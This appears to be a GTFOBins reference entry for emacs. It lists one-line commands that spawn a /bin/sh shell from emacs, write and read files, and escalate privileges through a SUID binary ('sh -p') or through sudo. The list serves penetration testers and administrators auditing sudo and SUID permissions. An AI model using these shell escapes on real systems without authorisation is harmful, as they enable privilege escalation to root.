GTFOBins.github.io/_gtfobins/emacs.md
2018-07-16 15:01:50 +02:00

353 B

functions
execute-interactive file-write file-read suid-enabled sudo-enabled
code
emacs -Q -nw --eval '(term "/bin/sh")'
code
emacs file_to_write C-x C-s
code
emacs file_to_read
code
./emacs -Q -nw --eval '(term "/bin/sh -p")'
code
sudo emacs -Q -nw --eval '(term "/bin/sh")'